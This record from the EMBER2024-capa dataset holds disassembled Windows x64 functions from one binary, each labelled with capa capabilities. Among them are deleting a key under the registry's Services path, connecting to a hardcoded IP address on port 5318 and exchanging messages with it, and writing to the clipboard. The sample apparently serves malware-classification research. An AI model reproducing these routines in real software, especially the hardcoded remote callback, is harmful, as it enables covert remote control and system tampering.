joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005c890
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rbx, rcx
mov rbp, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 0x22
jb 0x14005cb1b
mov r15, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14005c8d3
mov r15, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r14, [rbp + 0x22]
mov edi, select
lea rsi, [rsp + 0x20]
cmp r14, rdi
jbe 0x14005c971
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14005c933
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14009bb58
test rax, rax
je 0x14005cb09
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14005c96c
mov eax, socket
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14005c95b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14005cb0f
jmp 0x14005c914
test rcx, rcx
je 0x14005c96a
call fcn.14009bb58
mov rsi, rax
jmp 0x14005c96c
xor esi, esi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rdi
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x1400f9db8]
movups xmmword [rsi + 0x10], xmm1
movzx eax, word [0x1400f9dc8]
mov word [rsi + 0x20], ax
lea rcx, [rsi + 0x22]
mov r8, rbp
mov rdx, r15
call fcn.14009dd50
mov byte [rsi + r14], 0
lea rdx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rdx, qword [rsp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov rdx, qword [rsp + 0x38]
test eax, eax
jne 0x14005ca63
cmp rdx, 0x10
jb 0x14005ca12
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ca0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cb09
call fcn.14009ba30
movdqa xmm0, xmmword [0x1400fd660]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14005ca5f
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14005ca5a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005cb15
mov rcx, r8
call fcn.14009ba30
mov al, 1
jmp 0x14005cae2
cmp rdx, 0x10
jb 0x14005ca97
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ca92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cb09
call fcn.14009ba30
movdqa xmm0, xmmword [0x1400fd660]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14005cae0
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14005cadb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005cb15
mov rcx, r8
call fcn.14009ba30
xor al, al
mov byte [rbx], 0
mov qword [rbx + 0x18], select
mov qword [rbx + 0x10], 0
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400a4160
nop
call fcn.140001410
nop
call fcn.1400a4160
nop
call fcn.1400014b0
int3
Function at 0x140067950
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, dword [rcx + 0x10]
mov r10d, ecx
and r10d, 7
je 0x140067984
cmp ecx, r10d
jge 0x140067972
mov rcx, rbx
call fcn.140067170
mov eax, dword [rbx + 0x14]
mov ecx, r10d
shr eax, cl
sub dword [rbx + 0x10], r10d
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x14], eax
xor r8d, r8d
mov eax, ecx
test ecx, ecx
jle 0x1400679be
mov ecx, dword [rbx + 0x14]
lea rdx, [rsp + 0x30]
movzx r9d, cl
nop dword [rax]
shr ecx, 8
inc r8d
mov byte [rdx], r9b
lea rdx, [rdx + 1]
sub eax, 8
mov dword [rbx + 0x14], ecx
movzx r9d, cl
test eax, eax
jg 0x1400679a0
mov dword [rbx + 0x10], eax
test eax, eax
jns 0x1400679e6
mov rax, qword gs:[0x58]
mov edx, 0x28
mov rcx, qword [rax]
lea rax, str.zlib_corrupt
mov qword [rdx + rcx], rax
xor eax, eax
add rsp, 0x20
pop rbx
ret
movsxd rcx, r8d
cmp rcx, 4
jge 0x140067a15
mov r8, qword [rbx + 8]
mov rax, qword [rbx]
cmp rax, r8
jb 0x1400679ff
xor dl, dl
jmp 0x140067a08
movzx edx, byte [rax]
inc rax
mov qword [rbx], rax
mov byte [rsp + rcx + 0x30], dl
inc rcx
cmp rcx, 4
jl 0x1400679f6
movzx eax, byte [rsp + 0x30]
movzx r8d, byte [rsp + 0x31]
movzx ecx, byte [rsp + 0x33]
shl r8d, 8
add r8d, eax
shl ecx, 8
movzx eax, byte [rsp + 0x32]
add ecx, eax
mov eax, r8d
xor eax, 0xffff
cmp ecx, eax
jne 0x1400679c2
mov rcx, qword [rbx]
mov qword [rsp + 0x38], rdi
mov edi, r8d
add rcx, rdi
cmp rcx, qword [rbx + 8]
jbe 0x140067a7f
mov rax, qword gs:[0x58]
mov edx, 0x28
mov rcx, qword [rax]
lea rax, str.read_past_buffer
mov qword [rdx + rcx], rax
mov rdi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rdx, qword [rbx + 0x18]
lea rax, [r8 + rdx]
cmp rax, qword [rbx + 0x28]
jbe 0x140067a99
mov rcx, rbx
call fcn.1400672c0
test eax, eax
je 0x140067a72
mov rdx, qword [rbx]
mov r8, rdi
mov rcx, qword [rbx + 0x18]
call fcn.14009dd50
add qword [rbx], rdi
mov eax, 1
add qword [rbx + 0x18], rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
Function at 0x140072c80
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x140072cd4
lea rdx, [0x1400fa678]
lea rcx, [0x140114d90]
call fcn.14005ec20
mov edx, ebx
mov rcx, rax
call fcn.1400846a0
mov rcx, rax
call fcn.14005eed0
mov rax, 0xffffffffffffffff
add rsp, 0x1d0
pop rbx
ret
mov edx, 1
mov qword [rsp + 0x1e0], rdi
mov ebx, 2
mov ecx, ebx
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140072d43
lea rdx, [0x1400fa690]
lea rcx, [0x140114d90]
call fcn.14005ec20
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1400846a0
mov rcx, rax
call fcn.14005eed0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, rdi
mov rdi, qword [rsp + 0x1e0]
add rsp, 0x1d0
pop rbx
ret
lea rcx, str.183.221.211.103
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x14c6
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140072dd7
lea rdx, [0x1400fa6a8]
lea rcx, [0x140114d90]
call fcn.14005ec20
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call fcn.1400846a0
mov rcx, rax
call fcn.14005eed0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [rsp + 0x1e0]
mov rax, 0xffffffffffffffff
add rsp, 0x1d0
pop rbx
ret
mov rax, rdi
mov rdi, qword [rsp + 0x1e0]
add rsp, 0x1d0
pop rbx
ret

Function at 0x140072df0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x140113d78]
lea rdx, [rsp + 0x20]
mov eax, dword [str.G300]
xor r9d, r9d
xorps xmm0, xmm0
mov dword [rsp + 0x20], reloc.WS2_32.dll_socket
mov rdi, r8
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x24], xmm0
lea r8d, [r9 + 0x24]
mov dword [rsp + 0x24], eax
mov rcx, rbx
movdqu xmmword [rsp + 0x34], xmm1
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140072e67
xor r9d, r9d
mov rdx, rdi
mov rcx, rbx
lea r8d, [r9 + 0x68]
call qword [sym.imp.WS2_32.dll_recv]
sub eax, 0x68
neg eax
sbb eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rbx, qword [rsp + 0x60]
mov eax, 0xffffffff
add rsp, 0x50
pop rdi
ret
Function at 0x140072e80
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x480
xor ebp, ebp
mov dword [rsp + 0x30], select
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x34], rbp
mov rax, r8
mov qword [rsp + 0x3c], rbp
mov qword [rsp + 0x44], rbp
mov r8, rdi
mov qword [rsp + 0x4c], rbp
mov rsi, rdx
mov qword [rsp + 0x54], rbp
mov rbx, rcx
mov qword [rsp + 0x5c], rbp
mov qword [rsp + 0x64], rbp
mov qword [rsp + 0x6c], rbp
nop dword [rax]
inc r8
cmp byte [rax + r8], bpl
jne 0x140072ee0
mov rdx, rax
lea rcx, [rsp + 0x34]
call fcn.14009dd50
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rsi
lea r8d, [r9 + 0x44]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, edi
jne 0x140072f38
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
movabs rax, 0xf3ceedb4e7c2f8cd
mov qword [rbx + 0x18], select
mov qword [rbx], rax
mov byte [rbx + 8], bpl
jmp 0x140072f9d
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x400
call fcn.14009e4b0
xor r9d, r9d
lea rdx, [rsp + 0x80]
mov r8d, 0x400
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp eax, edi
je 0x140072f15
mov qword [rbx + 0x10], rbp
lea rax, [rsp + 0x80]
mov qword [rbx + 0x18], rbp
inc rdi
cmp byte [rax + rdi], bpl
jne 0x140072f81
mov r8, rdi
lea rdx, [rsp + 0x80]
mov rcx, rbx
call fcn.14000d580
lea r11, [rsp + 0x480]
mov rax, rbx
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140072fc0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov rsi, qword [0x140113d78]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov dword [rsp + 0x28], socket
mov rbx, 0xffffffffffffffff
mov rax, r8
movdqu xmmword [rsp + 0x2c], xmm0
mov r8, rbx
mov rdi, rcx
movdqu xmmword [rsp + 0x3c], xmm1
xor ebp, ebp
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bpl
jne 0x140073010
mov rdx, rax
lea rcx, [rsp + 0x2c]
call fcn.14009dd50
xor r9d, r9d
lea rdx, [rsp + 0x28]
mov rcx, rsi
lea r8d, [r9 + 0x24]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, ebx
jne 0x140073060
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 2
mov qword [rdi + 0x18], select
mov word [rdi], 0x6f6e
mov byte [rdi + 2], bpl
jmp 0x1400730b9
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x400
call fcn.14009e4b0
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
lea rax, [rsp + 0x50]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], rbp
nop dword [rax]
inc rbx
cmp byte [rax + rbx], bpl
jne 0x1400730a0
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.14000d580
lea r11, [rsp + 0x450]
mov rax, rdi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140079250
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rdi
sub rsp, 0x20
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400792e4
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rbx, 0xffffffffffffffff
mov rdx, rbx
nop
inc rdx
cmp byte [rdi + rdx], 0
jne 0x140079280
inc rdx
mov ecx, 0x2000
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400792a3
lea rdx, [rbx + 1]
mov r8, rdi
mov rcx, rax
call fcn.1400b0690
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140098920
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
push rdi
sub rsp, 0x50
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rdi, rdx
mov rbx, rcx
xorps xmm0, xmm0
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
movdqu xmmword [rsp + 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140098a1c
xor r9d, r9d
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 0x41]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400989a8
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1400989e4
mov rcx, qword [rsp + 0x48]
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400989e4
lea r9d, [rax + 1]
mov rcx, rbx
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x140098990
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140114c70]
mov ebx, eax
lea rdx, str.error:
call fcn.14005ec20
mov rcx, rax
mov edx, ebx
call fcn.14005cb30
mov rcx, rax
call fcn.14005eed0
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
xor al, al
add rsp, 0x50
pop rdi
ret

Function at 0x140098a30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
xorps xmm0, xmm0
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
movdqu xmmword [rsp + 0x38], xmm0
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140098b36
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x78], 0
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov rcx, rbx
mov r8d, edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140098ac2
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x140098afe
mov rcx, qword [rsp + 0x48]
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140098afe
lea r9d, [rax + 1]
mov rcx, rbx
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x140098aa2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x140114c70]
mov ebx, eax
lea rdx, str.error:
call fcn.14005ec20
mov rcx, rax
mov edx, ebx
call fcn.14005cb30
mov rcx, rax
call fcn.14005eed0
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140099120
Capabilities:
Hash data using djb2

Disassembly:
mov rax, rsp
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rax - 0x48]
sub rsp, 0x120
mov ebx, r8d
mov r15d, r9d
mov rdi, rdx
mov r14, rcx
test rdx, rdx
je 0x140099370
cmp ebx, 0x60000
ja 0x140099370
mov qword [rax + 8], rsi
xor esi, esi
mov qword [rax + 0x10], r12
mov dword [rsp + 0x25], esi
mov qword [rsp + 0x3b], rsi
mov qword [rsp + 0x43], rsi
mov qword [rsp + 0x4b], rsi
mov qword [rsp + 0x53], rsi
mov qword [rsp + 0x5b], rsi
mov qword [rax + 0x18], r13
call fcn.14009b140
mov rcx, rax
mov byte [rsp + 0x20], sil
movabs rax, 0xd6bf94d5e57a42bd
mov dword [rsp + 0x21], reloc.WS2_32.dll_inet_addr
imul rcx
mov dword [rsp + 0x29], r15d
add rdx, rcx
mov dword [rsp + 0x2d], ebx
sar rdx, 0x17
mov ecx, 0x1505
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov eax, ebx
shr eax, 1
mov dword [rsp + 0x31], edx
je 0x1400991f2
mov rdx, rdi
mov r8d, eax
nop dword [rax]
nop word [rax + rax]
movzx eax, word [rdx]
lea rdx, [rdx + 2]
imul ecx, ecx, 0x21
add ecx, eax
sub r8, 1
jne 0x1400991e0
movzx eax, word [rbp + 0x70]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x35], ecx
mov r8d, 0x43
mov rcx, r14
mov word [rsp + 0x39], ax
call fcn.140098a30
mov eax, 0x24924925
mov r15d, ebx
mul ebx
mov r12d, ebx
sub r15d, edx
shr r15d, 1
add r15d, edx
shr r15d, 5
imul r13d, r15d, 0x38
sub r12d, r13d
test r15d, r15d
je 0x1400992c6
movaps xmmword [rsp + 0x110], xmm6
xorps xmm6, xmm6
cvtsi2ss xmm6, rbx
nop dword [rax]
imul ebx, esi, 0x38
lea rdx, [rsp + 0x70]
mov r8d, 0x41
mov byte [rsp + 0x70], 0
mov rcx, r14
mov dword [rsp + 0x71], select
mov dword [rsp + 0x75], 0x38
movups xmm0, xmmword [rbx + rdi]
movups xmm1, xmmword [rbx + rdi + 0x10]
movups xmmword [rsp + 0x79], xmm0
movups xmm0, xmmword [rbx + rdi + 0x20]
movups xmmword [rbp - 0x77], xmm1
movsd xmm1, qword [rbx + rdi + 0x30]
movups xmmword [rbp - 0x67], xmm0
movsd qword [rbp - 0x57], xmm1
call fcn.140098a30
xorps xmm0, xmm0
mov eax, ebx
inc esi
cvtsi2ss xmm0, rax
divss xmm0, xmm6
movss dword [0x140116b88], xmm0
cmp esi, r15d
jb 0x140099250
movaps xmm6, xmmword [rsp + 0x110]
mov rsi, qword [rsp + 0x150]
test r12d, r12d
je 0x14009930b
mov edx, r13d
lea rcx, [rsp + 0x79]
add rdx, rdi
mov r8d, r12d
mov byte [rsp + 0x70], 0
mov dword [rsp + 0x71], select
mov dword [rsp + 0x75], r12d
call fcn.14009dd50
mov r8d, 0x41
lea rdx, [rsp + 0x70]
mov rcx, r14
call fcn.140098a30
mov r8d, 0x43
mov byte [rbp - 0x40], 0
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x3f], select
mov rcx, r14
call fcn.140098a30
mov r13, qword [rsp + 0x160]
mov rcx, r14
mov r12, qword [rsp + 0x158]
test eax, eax
je 0x140099356
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 3
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
mov eax, 1
add rsp, 0x120
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret
Function at 0x14009aacc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14009ab50
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400d3c30]
cmp byte [rcx + rax], 0
je 0x14009ab50
dec r8
sub rdx, 1
jne 0x14009ab36
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14009c6a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009c6ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009c6ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009c6ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009c6ee
cmp dword [rcx + 0x84], 0xe
jbe 0x14009c6ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14009c6f0
xor al, al
add rsp, 0x28
ret
Function at 0x1400a4580
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14009c4b0
sub rsp, rax
mov rax, qword [0x140113078]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400b6c80
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400a45cf
mov rax, rbp
jmp 0x1400a46d7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x115ed0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400ba7f8
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x115ed0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400a46d3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400a46d3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400ba7f8
test rax, rax
js 0x1400a46d3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400a46d3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1400a46c5
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1400a46c5
cmp byte [rcx], 0xd
jne 0x1400a46ab
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1400a46ba
cmp byte [rcx + 1], 0xa
jne 0x1400a46ba
inc rcx
jmp 0x1400a46ba
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x113470]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400a468d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400a46d7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14009c2d0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400aed64
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400aebcf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400aebcf
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400aebcf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400aebcf
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400aebcf
cmp dword [rcx + 0x84], 0xe
jbe 0x1400aebcf
cmp dword [rcx + 0xf8], 0
je 0x1400aebcf
mov ecx, ebx
call fcn.1400aec80
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400aea5c
nop
cmp dword [rbp + 0x20], 0
je 0x1400aec1d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400aec28
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400aeb60